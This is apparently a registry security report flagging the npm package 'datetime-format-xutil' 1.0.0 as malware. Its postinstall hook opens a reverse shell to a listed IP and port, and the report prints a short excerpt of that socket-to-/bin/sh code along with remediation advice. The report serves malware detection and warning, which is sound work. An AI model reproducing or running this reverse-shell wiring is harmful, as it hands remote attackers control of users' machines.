registry / Remote code execution / datetime-format-xutil
datetime-format-xutil
A simple date formatting utility
This report shows the evidence for datetime-format-xutil@1.0.0, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is concrete, unconsented install-time remote command execution, not functionality required by a date formatter. The benign exported helper does not mitigate the malicious lifecycle payload.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation executes the postinstall lifecycle hook.
Impact
Remote command execution and host compromise in the installer context.
Mechanism
TCP reverse shell with bash and Python fallback commands.
Attack narrative
Installing the package invokes postinstall.js. It connects to 8.135.48.40 on port 4444, launches /bin/sh after connection, and wires the shell streams to the socket, granting the remote endpoint an interactive shell. If that connection errors, it attempts bash and Python reverse-shell commands and reports failure details by HTTP.
AI rationale
This is concrete, unconsented install-time remote command execution, not functionality required by a date formatter. The benign exported helper does not mitigate the malicious lifecycle payload.
Evidence
package.jsonpostinstall.jsindex.js/bin/sh
Network endpoints3
8.135.48.40:44448.135.48.40/shell/failed8.135.48.40/shell/error
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs postinstall.js during installation.
- postinstall.js opens a TCP connection to 8.135.48.40:4444.
- On connection, it spawns /bin/sh and pipes its input/output to the remote socket.
- Connection failure triggers bash and Python reverse-shell fallbacks plus HTTP error reporting.
Evidence against
- index.js only exports a local date-formatting helper.
- No benign purpose explains the install-time remote shell.
Behavioral surface
ChildProcessNetwork
HighEntropyStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1const { execSync, spawn } = require('child_process');
L2: const net = require('net');
L3: const http = require('http');
...
L10: var c = net.connect(PORT, VPS, function() {
L11: var sh = spawn('/bin/sh', []);
L12: c.pipe(sh.stdin);
L13: sh.stdout.pipe(c);
L14: sh.stderr.pipe(c);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
postinstall.jsView on unpkg · L1Findings
2 Critical5 High3 Medium2 Low
CriticalReverse Shellpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processpostinstall.js
HighSuspicious Lifecycle Evidencepostinstall.js
HighAi Review Evidencepostinstall.js
HighAi Review Evidencepostinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to datetime-format-xutil@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing datetime-format-xutil@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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